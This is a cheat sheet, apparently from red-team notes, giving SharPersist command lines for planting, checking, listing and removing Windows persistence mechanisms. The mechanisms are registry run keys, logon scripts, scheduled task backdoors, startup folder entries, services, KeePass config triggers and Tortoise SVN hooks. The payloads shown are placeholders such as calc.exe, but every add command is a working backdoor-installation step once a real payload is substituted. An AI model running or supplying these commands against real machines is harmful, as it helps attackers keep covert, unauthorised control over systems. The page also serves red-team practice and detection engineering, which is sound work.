# SharpPersist

Windows persistence toolkit written in C#&#x20;

Link:  <https://github.com/fireeye/SharPersist>&#x20;

## Examples&#x20;

### Adding Persistence Triggers (Add)&#x20;

#### KeePass&#x20;

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add&#x20;

#### Registry&#x20;

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add&#x20;

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env&#x20;

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add&#x20;

#### Scheduled Task Backdoor&#x20;

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add&#x20;

#### Startup Folder&#x20;

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add&#x20;

#### Tortoise SVN&#x20;

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add&#x20;

#### Windows Service&#x20;

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add&#x20;

#### Scheduled Task&#x20;

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add&#x20;

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly&#x20;

### Removing Persistence Triggers (Remove)&#x20;

#### KeePass&#x20;

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove&#x20;

#### Registry&#x20;

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove&#x20;

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env&#x20;

SharPersist -t reg -k "logonscript" -m remove&#x20;

#### Scheduled Task Backdoor&#x20;

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove&#x20;

#### Startup Folder&#x20;

SharPersist -t startupfolder -f "Some File" -m remove&#x20;

#### Tortoise SVN&#x20;

SharPersist -t tortoisesvn -m remove&#x20;

#### Windows Service&#x20;

SharPersist -t service -n "Some Service" -m remove&#x20;

#### Scheduled Task&#x20;

SharPersist -t schtask -n "Some Task" -m remove&#x20;

### Perform Dry Run of Persistence Trigger (Check)&#x20;

#### KeePass&#x20;

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check&#x20;

#### Registry&#x20;

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check&#x20;

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env&#x20;

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check&#x20;

#### Scheduled Task Backdoor&#x20;

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check&#x20;

#### Startup Folder&#x20;

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check&#x20;

#### Tortoise SVN&#x20;

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check&#x20;

#### Windows Service&#x20;

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check&#x20;

#### Scheduled Task&#x20;

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check&#x20;

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly&#x20;

### List Persistence Trigger Entries (List)&#x20;

#### Registry&#x20;

SharPersist -t reg -k "hkcurun" -m list&#x20;

Scheduled Task Backdoor&#x20;

SharPersist -t schtaskbackdoor -m list&#x20;

SharPersist -t schtaskbackdoor -m list -n "Some Task"&#x20;

SharPersist -t schtaskbackdoor -m list -o logon&#x20;

#### Startup Folder&#x20;

SharPersist -t startupfolder -m list&#x20;

#### Windows Service&#x20;

SharPersist -t service -m list&#x20;

SharPersist -t service -m list -n "Some Service"&#x20;

#### Scheduled Task&#x20;

SharPersist -t schtask -m list&#x20;

SharPersist -t schtask -m list -n "Some Task"&#x20;

SharPersist -t schtask -m list -o logon&#x20;
